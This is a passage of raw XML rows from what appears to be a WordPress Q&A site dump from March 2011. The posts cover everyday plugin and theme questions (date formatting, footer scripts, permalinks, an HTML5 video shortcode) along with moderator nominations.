  <row Id="12039" PostTypeId="2" ParentId="12031" CreationDate="2011-03-14T20:53:30.583" Score="1" ViewCount="" Body="&lt;p&gt;Do you have issue with exactly converting or retrieval? Converting is trivial and is plain PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date('F j, Y', strtotime($date));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more complex and WordPress-specific way with localization support see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/date_i18n&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;date_i18n()&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-14T20:53:30.583" CommentCount="3" />
  <row Id="12040" PostTypeId="1" CreationDate="2011-03-14T21:05:43.803" Score="1" ViewCount="97" Body="&lt;p&gt;I had upgraded from 3.0 to 3.1 and oembed worked normally. All of a sudden I've lost embedding when directly pasting video url into the editor. My embed setting is selected under &quot;media&quot;. Any ideas what could be going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've changed themes, ultimately to the native 2010 and still no function. I've tried turning the embed setting on and off in the admin as well to no avail. &lt;/p&gt;&#xA;" OwnerUserId="3899" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-15T20:48:41.723" LastActivityDate="2011-03-15T20:48:41.723" Title="OEMBED seems to have stopped working" Tags="&lt;oembed&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" />
  <row Id="12041" PostTypeId="2" ParentId="11427" CreationDate="2011-03-14T21:58:17.810" Score="3" ViewCount="" Body="&lt;p&gt;Sorry guys, I found my answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp','redirect_stuffs', 0);&#xA;function redirect_stuffs(){&#xA;global $wpdb; &#xA;    if ($wpdb-&amp;gt;last_result[0]-&amp;gt;post_status == &quot;private&quot; &amp;amp;&amp;amp; !is_admin() ):&#xA;        wp_redirect( home_url(), 301 );&#xA;        exit();&#xA;    endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Posts/Pages are removed from the sitemaps, but the page still shows up on the site so that it can get 301'd.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-03-14T21:58:17.810" />
  <row Id="12042" PostTypeId="1" AcceptedAnswerId="12045" CreationDate="2011-03-14T21:59:58.873" Score="0" ViewCount="74" Body="&lt;p&gt;For some reason when I go to one of my clients WordPress installations, and I install a plugin that I made which has custom TinyMCE buttons, when they click on one of the buttons the popup appears but there's no text. In the JavaScript console of Google Chrome before I even click the buttons, there is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Failed to load resource: the server responded with a status of 404 (Not Found) - Array - &lt;a href=&quot;http://mywebsiteurl.com/wp-admin/Array&quot; rel=&quot;nofollow&quot;&gt;http://mywebsiteurl.com/wp-admin/Array&lt;/a&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could that have something to do with my plugin or their installation of WordPress? Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-16T12:38:21.410" LastActivityDate="2011-03-16T12:38:21.410" Title="Getting a 404 in Debugger for example.com/wp-admin/Array?" Tags="&lt;404-error&gt;&lt;tinymce&gt;" AnswerCount="1" />
  <row Id="12043" PostTypeId="1" AcceptedAnswerId="12052" CreationDate="2011-03-14T22:01:01.117" Score="0" ViewCount="59" Body="&lt;p&gt;If I wanted to put the scripts that all my plugins use at the end of the page, where would I do this?&#xA;Using YSlow/Firebug it recommends this tactic.&lt;/p&gt;&#xA;" OwnerUserId="970" LastActivityDate="2011-03-14T23:01:43.237" Title="Scripts at the end of the page" Tags="&lt;plugins&gt;&lt;javascript&gt;&lt;scripts&gt;" AnswerCount="2" />
  <row Id="12044" PostTypeId="1" CreationDate="2011-03-14T22:04:19.307" Score="0" ViewCount="228" Body="&lt;p&gt;I'm considering building a plugin which can export and import a site's custom options settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On export, it simply pulls all of the custom options from wp_options and create a zip file of them (perhaps as a csv or xml). On import, it would take the zipped data file and extract it into the site's wp_options table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure this is not as easy as it sounds? What are some of the potential challenges?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's option #1. Option #2 would be quite a bit more controlled in that it would only export those options which were prefixed with &quot;my_&quot; for example. In that way, I'd be only grabbing the options that I know are my custom options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next logical step would be to essentially create a clone file of the site, with all plugins, themes, posts, pages, tags, comments, categories, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This clone file could be imported into an empty site, thus creating a baseline site in seconds.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-14T23:38:38.523" Title="Plugin to import/export wp_options" Tags="&lt;wp-options&gt;&lt;clone-site&gt;" AnswerCount="1" />
  <row Id="12045" PostTypeId="2" ParentId="12042" CreationDate="2011-03-14T22:05:28.563" Score="2" ViewCount="" Body="&lt;p&gt;If I am not mistaken in PHP &lt;code&gt;Array&lt;/code&gt; commonly comes up when array variable is wrongfully used where string is expected. But from this information I have trouble suggesting where exactly that can go wrong.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-14T22:05:28.563" />
  <row Id="12046" PostTypeId="2" ParentId="12043" CreationDate="2011-03-14T22:09:37.577" Score="1" ViewCount="" Body="&lt;p&gt;One way - make use of queue. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_register_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_register_script()&lt;/code&gt;&lt;/a&gt; accepts parameter that bumps queued scripts to footer. The issue is that not all plugins use queue (they really should) and many that do don't bother to target footer. So you will need to hook and do a lot of registrations and re-registrations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is using good caching plugin (like &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt;) that is capable of moving and even concatenating scripts.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-14T22:09:37.577" />
  <row Id="12047" PostTypeId="1" AcceptedAnswerId="12048" CreationDate="2011-03-14T22:18:37.567" Score="1" ViewCount="104" Body="&lt;p&gt;I need to make use of the ABSPATH constant but need to know what WP files I need to include so I can make use of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="1839" LastActivityDate="2011-03-14T22:30:52.713" Title="Using the ABSPATH constant - What files need to be loaded before use?" Tags="&lt;constants&gt;" AnswerCount="1" />
  <row Id="12048" PostTypeId="2" ParentId="12047" CreationDate="2011-03-14T22:30:52.713" Score="1" ViewCount="" Body="&lt;p&gt;It is defined at the very &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-load.php&quot; rel=&quot;nofollow&quot;&gt;start of &lt;code&gt;wp-load.php&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it's value is very primitive - only a path to where file is located, which you could easily get without bothering with including it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-14T22:30:52.713" />
  <row Id="12049" PostTypeId="1" AcceptedAnswerId="12108" CreationDate="2011-03-14T22:33:45.813" Score="0" ViewCount="313" Body="&lt;p&gt;after updating the permalinks from the default /?p=N to another setting (e.g. /%year%/%monthnum%/%postname%/) all my old links are broken and also the archive, catgories etc. side bars get 404 errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I avoid this (or redirect) without changing the .htaccess (which I can't access using my hosting package)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or plugins that work with my current version (WP 3.1) are welcome!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thorsten&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2011-03-17T12:18:48.177" Title="How do I change the permalink structure without getting 404s?" Tags="&lt;permalinks&gt;&lt;404-error&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="12050" PostTypeId="2" ParentId="9587" CreationDate="2011-03-14T22:40:50.350" Score="0" ViewCount="" Body="&lt;p&gt;hack for filter the_terms:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_terms('YOUR-TAXONOMY','hide_empty=1' );&#xA;if (!empty( $terms )){&#xA;  $term_links = &quot;&quot;;&#xA;  foreach ( $terms as $term ) {&#xA;  if($term-&amp;gt;term_id == icl_object_id($term-&amp;gt;term_id,'YOUR-TAXONOMY',false,ICL_LANGUAGE_CODE)){&#xA;    $term_links[] = '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.$category_url.'?YOUR-TAXONOMY='. $term-&amp;gt;slug.'&quot;&amp;gt;&#xA;     ' . $term-&amp;gt;name . '' . $term-&amp;gt;name . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;  }&#xA;  }&#xA;echo join( '', $term_links );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2011-03-14T22:40:50.350" />
  <row Id="12051" PostTypeId="2" ParentId="12049" CreationDate="2011-03-14T22:47:09.277" Score="-1" ViewCount="" Body="&lt;p&gt;@IronGoofy, Check &lt;a href=&quot;http://christiaanconover.com/change-wordpress-permalinks/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; out. it's a tutorial about migrating permalinks properly. I didn't tried it but it could be useful.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastEditorUserId="3603" LastEditorDisplayName="" LastEditDate="2011-03-17T04:25:55.187" LastActivityDate="2011-03-17T04:25:55.187" CommentCount="1" />
  <row Id="12052" PostTypeId="2" ParentId="12043" CreationDate="2011-03-14T23:01:43.237" Score="0" ViewCount="" Body="&lt;p&gt;The hook for registering the script in the footer is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function my_init_method() {&#xA;    wp_register_script( 'myscript', 'http://www.mydomain.com/js/myscript.js','','','true');&#xA;    wp_enqueue_script( 'jquery' );&#xA;}    &#xA;&#xA;add_action('init', 'my_init_method');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;be sure to look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_register_script&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, both are important.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-03-14T23:01:43.237" CommentCount="3" />
  <row Id="12053" PostTypeId="1" CreationDate="2011-03-14T23:15:44.390" Score="0" ViewCount="135" Body="&lt;p&gt;I have a problem with a custom field called enclosure that was added automatically aftery I created a new post and added a video. The enclosure custom field appears in the post too. How can I remove it. I can't remove it simply by pressing the delete button in the editing page(window) because after deleting it and updating it again it will appear again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I added the video to this post:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;uploaded the video to /wp-content/uploads&lt;/li&gt;&#xA;&lt;li&gt;added to the post by clicking on &quot;insert /edit embeded media&quot;.&lt;/li&gt;&#xA;&lt;li&gt;pulished it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can any one help me to solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: these are the plugins that currently active: NextGEN FlashViewer and NextGEN Gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="3847" LastActivityDate="2011-03-14T23:15:44.390" Title="how to remove enclosure custom field" Tags="&lt;custom-field&gt;&lt;3.1&gt;&lt;enclosure&gt;" />
  <row Id="12054" PostTypeId="1" AcceptedAnswerId="12259" CreationDate="2011-03-14T23:28:32.757" Score="1" ViewCount="309" Body="&lt;p&gt;My sidebar loops through all of the child pages based on the parent page. For example, if you're in the &quot;About&quot; section you'll only see &quot;About&quot; child pages in the sidebar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I have no way of highlighting the current page. For example, if you're on the child page &quot;Our Team&quot; (under &quot;About&quot;) I'd like to give the sidebar &quot;Our Team&quot; a tag link a &quot;current-page&quot; class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to add a &quot;current-page&quot; class dynamically to the child page you're on?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if ( $post-&amp;gt;post_parent == '4' ) {&#xA;    query_posts(&quot;post_type=page&amp;amp;post_parent=4&amp;amp;orderby=menu_order&amp;amp;order=asc&quot;); &#xA;} elseif ( $post-&amp;gt;post_parent == '6' ) {&#xA;    query_posts(&quot;post_type=page&amp;amp;post_parent=6&amp;amp;orderby=menu_order&amp;amp;order=asc&quot;);&#xA;} elseif ( $post-&amp;gt;post_parent == '8' ) {&#xA;    query_posts(&quot;post_type=page&amp;amp;post_parent=8&amp;amp;orderby=menu_order&amp;amp;order=asc&quot;); &#xA;} elseif ( $post-&amp;gt;post_parent == '10' ) {&#xA;    query_posts(&quot;post_type=page&amp;amp;post_parent=10&amp;amp;orderby=menu_order&amp;amp;order=asc&quot;); &#xA;}&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;?&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-04-15T23:40:25.377" Title="Dynamic sidebar nav with current page highlighting" Tags="&lt;css&gt;&lt;loop&gt;&lt;menus&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" />
  <row Id="12055" PostTypeId="2" ParentId="12044" CreationDate="2011-03-14T23:38:38.523" Score="1" ViewCount="" Body="&lt;p&gt;One great challenge that i can think of is creating that your import export system dynamic in a way that if you add another option here and there in your updates that you won't have to go back to the export function and update it to export the new options as well, basically what I'm trying to say is have it automatically export all of your plugins options.&#xA;The import part would be easier to implement after you read the dumped file if you dump it in a &quot;key|value&quot; format so just loop through it and imports all of the option,you wont need to edit that each time you add an option. So mainly make it easy to update in changes and updates you make.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-14T23:38:38.523" CommentCount="2" />
  <row Id="12056" PostTypeId="1" AcceptedAnswerId="12058" CreationDate="2011-03-14T23:42:58.257" Score="1" ViewCount="292" Body="&lt;p&gt;I've removed &quot;Title&quot; from a custom post type that I created. Which makes it that all new posts gets the name &quot;Auto Draft&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get around this I want to be able to fetch a value/post name from a meta box and save that as the new title. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm using, and the value of this meta should be the new title&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function save_title_meta($post_id, $post) {&#xA;&#xA;// verify this came from the our screen and with proper authorization,&#xA;// because save_post can be triggered at other times&#xA;if ( !wp_verify_nonce( $_POST['meta_noncename'], plugin_basename(__FILE__) )) {&#xA;return $post-&amp;gt;ID;&#xA;}&#xA;&#xA;// Is the user allowed to edit the post or page?&#xA;if ( !current_user_can( 'edit_post', $post-&amp;gt;ID ))&#xA;    return $post-&amp;gt;ID;&#xA;&#xA;// OK, we're authenticated: we need to find and save the data&#xA;// We'll put it into an array to make it easier to loop though.&#xA;&#xA;$project_meta['_title'] = $_POST['_title'];&#xA;&#xA;// Add values of $project_meta as custom fields&#xA;&#xA;foreach ($project_meta as $key =&amp;gt; $value) { // Cycle through the $project_meta array!&#xA;    if( $post-&amp;gt;post_type == 'revision' ) return; // Don't store custom data twice&#xA;    $value = implode(',', (array)$value); // If $value is an array, make it a CSV (unlikely)&#xA;    if(get_post_meta($post-&amp;gt;ID, $key, FALSE)) { // If the custom field already has a value&#xA;        update_post_meta($post-&amp;gt;ID, $key, $value);&#xA;    } else { // If the custom field doesn't have a value&#xA;        add_post_meta($post-&amp;gt;ID, $key, $value);&#xA;&#xA;    }&#xA;    if(!$value) delete_post_meta($post-&amp;gt;ID, $key); // Delete if blank&#xA;}&#xA;&#xA; }&#xA;&#xA;add_action('save_post', 'save_title_meta', 1, 2); // save the custom fields&#xA;?&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;meta_noncename&quot; id=&quot;meta_noncename&quot; value=&quot;' .&#xA;wp_create_nonce( plugin_basename(__FILE__) ) . '&quot; /&amp;gt;';&#xA;&#xA;// Get the location data if its already been entered&#xA;$title = get_post_meta($post-&amp;gt;ID, '_title', true);&#xA;&#xA;// Echo out the field&#xA;echo '&amp;lt;input type=&quot;text&quot; name=&quot;_title&quot; value=&quot;' . $title  . '&quot; class=&quot;widefat&quot; /&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2830" LastActivityDate="2011-06-15T12:23:21.690" Title="Automatically set post title to same value as a meta box" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;" AnswerCount="2" />
  <row Id="12058" PostTypeId="2" ParentId="12056" CreationDate="2011-03-14T23:55:43.123" Score="1" ViewCount="" Body="&lt;p&gt;Even though you've disabled &lt;code&gt;title&lt;/code&gt; for your custom post type, if you use the post name &lt;code&gt;post_title&lt;/code&gt; for your own title input, WordPress will still use it and update the post title accordingly.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-14T23:55:43.123" CommentCount="3" />
  <row Id="12059" PostTypeId="1" AcceptedAnswerId="16512" CreationDate="2011-03-15T00:03:08.327" Score="1" ViewCount="145" Body="&lt;p&gt;Currently I am running a Wordpress MU blog using the Unfiltered MU plugin.  However, when I try to insert an HTML5  tag, it gets stripped away.  I believe it may be the WYSIWYG editor cleaning the code.  Where can I change settings to allow  ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3058" LastActivityDate="2011-05-06T06:32:16.117" Title="How to allow &lt;video&gt; html5 tag in Wordpress" Tags="&lt;tags&gt;&lt;multisite&gt;&lt;wysiwyg&gt;&lt;videos&gt;&lt;html5&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="12060" PostTypeId="6" CreationDate="2011-03-15T00:05:56.340" Score="0" ViewCount="" Body="&lt;p&gt;I'm a WordPress developer at a large media company. I am nominating myself because I can't resist such a great opportunity to get more involved in the WordPress Answers community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came into development via journalism. As a community moderator I would try to bring a journalistic sense of clarity and public stewardship to the gig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Talk comes cheap so &lt;a href=&quot;http://wordpress.stackexchange.com/users/1860/editor&quot;&gt;I'm hoping you'll check out my trail of bits&lt;/a&gt; around here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a couple quick and dirty samples &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6924/wordpress-and-security/6929#6929&quot;&gt;here's a question showing me trying to lead by example&lt;/a&gt; (for good or bad), with a little firm moderation/followup where necessary. &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11725/help-why-my-roles-are-not-showing-multi-site-network&quot;&gt;Here's a page with a couple of interactions&lt;/a&gt; that hopefully show my patience for, and tremendous respect of, my fellow community members.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastEditorUserId="1860" LastEditorDisplayName="" LastEditDate="2011-03-15T00:49:42.010" LastActivityDate="2011-03-15T00:49:42.010" CommunityOwnedDate="2011-03-15T00:05:56.340" />
  <row Id="12061" PostTypeId="1" AcceptedAnswerId="12070" CreationDate="2011-03-15T00:10:28.760" Score="0" ViewCount="111" Body="&lt;p&gt;I found the code on the WP Recipies page to force excerpts on the home page. &#xA;&lt;a href=&quot;http://goo.gl/1hUJJ&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/1hUJJ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do I modify that snippet to add a hyperlink to the full post for the &quot;...&quot; part? Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-15T01:51:03.713" Title="How to link up &quot;read more&quot; on excerpts hack from WP Recipies" Tags="&lt;posts&gt;&lt;homepage&gt;&lt;excerpt&gt;" AnswerCount="1" />
  <row Id="12062" PostTypeId="2" ParentId="12059" CreationDate="2011-03-15T00:15:09.397" Score="1" ViewCount="" Body="&lt;p&gt;Try this to allow disallowed tags...&#xA;&lt;a href=&quot;http://tierra-innovation.com/wordpress-cms/plugins/extend-kses/&quot; rel=&quot;nofollow&quot;&gt;http://tierra-innovation.com/wordpress-cms/plugins/extend-kses/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-15T00:15:09.397" />
  <row Id="12063" PostTypeId="2" ParentId="12023" CreationDate="2011-03-15T00:32:43.263" Score="2" ViewCount="" Body="&lt;p&gt;I use the &lt;a href=&quot;http://wordpress.org/extend/plugins/media-library-categories/&quot; rel=&quot;nofollow&quot;&gt;Media Library Categories&lt;/a&gt; plugin to add categories. It does a wonderful job of adding category functionality, but the code could be improved upon and custom implementation requires some knowledge of PHP, as it only provides you with a shortcode and no documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10149/how-to-call-shortcode-function-directly-and-pass-atts&quot;&gt;Question&lt;/a&gt;, maybe be able to help you if you choose this solution.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-03-15T00:32:43.263" />
  <row Id="12064" PostTypeId="2" ParentId="12023" CreationDate="2011-03-15T00:37:21.307" Score="0" ViewCount="" Body="&lt;p&gt;I'd say that custom post types might be your best solution. Create a custom post type for the documents, then they stay out of your regular blog posts, and you can organize them however you see fit.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-03-15T00:37:21.307" />
  <row Id="12065" PostTypeId="6" CreationDate="2011-03-15T00:43:44.327" Score="0" ViewCount="" Body="&lt;p&gt;I'd nominate myself, if I thought I would get chosen. I like the site, and I've gotten good use out of it. I'm able to be available all the time for moderation, and I've stayed fairly active throughout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My knock against me is that I haven't participated much within the meta site, but I've always been more interested in practical solutions than political debating. E.G., I like looking at posts and making them useful over looking at meta discussions and adding in my two bits that someone else has already covered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I mentioned, I get good use out of the site, and I'd like to keep it useful for both myself and others. If being a mod helps with that regard, then I'd be more than happy to volunteer for the job.&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2011-03-15T00:43:44.327" LastActivityDate="2011-03-15T00:43:44.327" CommunityOwnedDate="2011-03-15T00:43:44.327" />
  <row Id="12066" PostTypeId="2" ParentId="12059" CreationDate="2011-03-15T00:43:50.473" Score="1" ViewCount="" Body="&lt;p&gt;This is totally untested, but I'm pretty sure this shortcode plugin I just wrote for you is going to work. You might need to tweak it. Please let me know either way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shortcode: &lt;code&gt;[videotag option1=&quot;value1&quot; option2=&quot;value2&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;code&gt;[videotag src=&quot;http://path.com/to/video.mp4&quot; height=&quot;400&quot; width=&quot;300&quot; controls=&quot;controls&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Add 'videotag' shortcode&#xA;Plugin URI: http://wordpress.stackexchange.com/questions/12059/how-to-allow-video-html5-tag-in-wordpress&#xA;Description: Adds support for &amp;lt;video&amp;gt; HTML tag described here: http://diveintohtml5.org/video.html&#xA;Supports the attributes described here: http://www.w3schools.com/html5/tag_video.asp (warning: http://w3fools.com/)&#xA;Author: http://wordpress.stackexchange.com/users/1860/&#xA;*/&#xA;&#xA;function build_video_tag_html_embed($atts, $content = null) {&#xA;    extract( shortcode_atts( array('audio'=&amp;gt;'',&#xA;                                 'autoplay'=&amp;gt;'',&#xA;                                 'controls'=&amp;gt;'',&#xA;                                 'height'=&amp;gt;'',&#xA;                                 'loop'=&amp;gt;'',&#xA;                                 'poster'=&amp;gt;'',&#xA;                                 'preload'=&amp;gt;'',&#xA;                                 'src'=&amp;gt;'',&#xA;                                 'text'=&amp;gt;'This browser doesn\'t support the &amp;lt;pre&amp;gt;&amp;lt;video&amp;gt;&amp;lt;/pre&amp;gt; tag.',&#xA;                                 'width'=&amp;gt;''), $atts));&#xA;&#xA;    /* Sanitize some stuff */&#xA;    $text = sanitize_text_field($text);&#xA;    $width = intval($width);&#xA;    $height = intval($height);&#xA;&#xA;    $html_to_return .= &quot;&amp;lt;video&quot;;&#xA;    if( !empty($audio) ) {&#xA;        $html_to_return .= &quot; audio='&quot; . esc_attr($audio) . &quot;'&quot;;&#xA;    } &#xA;    if( !empty($autoplay) ) {&#xA;        $html_to_return .= &quot; autoplay='&quot; . esc_attr($autoplay) . &quot;'&quot;;&#xA;    }&#xA;    if( !empty($controls) ) {&#xA;        $html_to_return .= &quot; controls='&quot; . esc_attr($controls) . &quot;'&quot;;&#xA;    }&#xA;    if( !empty($height) ) {&#xA;        $html_to_return .= &quot; height='&quot; . esc_attr($height) . &quot;'&quot;;&#xA;    }&#xA;    if( !empty($loop) ) {&#xA;        $html_to_return .= &quot; loop='&quot; . esc_attr($loop) . &quot;'&quot;;&#xA;    }&#xA;    if( !empty($poster) ) {&#xA;        $html_to_return .= &quot; poster='&quot; . esc_attr($poster) . &quot;'&quot;;&#xA;    }&#xA;    if( !empty($preload) ) {&#xA;        $html_to_return .= &quot; preload='&quot; . esc_attr($preload) . &quot;'&quot;;&#xA;    }&#xA;    if( !empty($src) ) {&#xA;        $html_to_return .= &quot; src='&quot; . esc_attr($src) . &quot;'&quot;;&#xA;    }&#xA;    if( !empty($width) ) {&#xA;        $html_to_return .= &quot; width='&quot; . esc_attr($width) . &quot;'&quot;;&#xA;    }&#xA;    $html_to_return .= &quot;&amp;gt;{$text}&amp;lt;/video&amp;gt;&quot;;&#xA;}&#xA;&#xA;add_shortcode('videotag', 'build_video_tag_html_embed');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Interesting question. This would be a great patch, maybe the first I'll submit.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-03-15T00:43:50.473" />
  <row Id="12067" PostTypeId="2" ParentId="10304" CreationDate="2011-03-15T00:49:59.800" Score="0" ViewCount="" Body="&lt;p&gt;I just encountered this issue as well when upgrading a staging site to WordPress 3.1 (from 3.0.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hotfix plugin didn't fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fixed it by upgrading MySQL to version 5.1.40 (from 5.0.51b)&lt;/p&gt;&#xA;" OwnerUserId="3946" LastActivityDate="2011-03-15T00:49:59.800" />
  <row Id="12068" PostTypeId="1" CreationDate="2011-03-15T00:53:09.463" Score="0" ViewCount="95" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12435/listing-parent-child-and-grandchild-categories-and-then-the-posttitles-on-page-t&quot;&gt;Listing Parent, Child and GrandChild Categories and then the PostTitles on Page Template !&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;What I want to do is a loop like this is something like this  I'm really sorry but its hard to format here!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I going to put this short url &lt;a href=&quot;http://pastebin.com/dEdKzgJz&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/dEdKzgJz&lt;/a&gt; so you can see it better... Can anyone help me with this? Any advice!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 1&lt;br&gt;&#xA;........Child Category 1.1&lt;br&gt;&#xA;...........Sub-Child Category 1.1.1&lt;br&gt;&#xA;.................Post Title 1&lt;br&gt;&#xA;.................Post Title 2&lt;br&gt;&#xA;.................Post Title 3  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 2&lt;br&gt;&#xA;........Child Category 2.1&lt;br&gt;&#xA;...........Sub-Child Category 2.1.1&lt;br&gt;&#xA;.................Post Title 1&lt;br&gt;&#xA;.................Post Title 2&lt;br&gt;&#xA;.................Post Title 3  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 3&lt;br&gt;&#xA;........Child Category 3.1&lt;br&gt;&#xA;...........Sub-Child Category 3.1.1&lt;br&gt;&#xA;.................Post Title 1&lt;br&gt;&#xA;.................Post Title 2&lt;br&gt;&#xA;.................Post Title 3  &lt;/p&gt;&#xA;" OwnerUserId="3049" LastEditorUserId="3049" LastEditorDisplayName="" 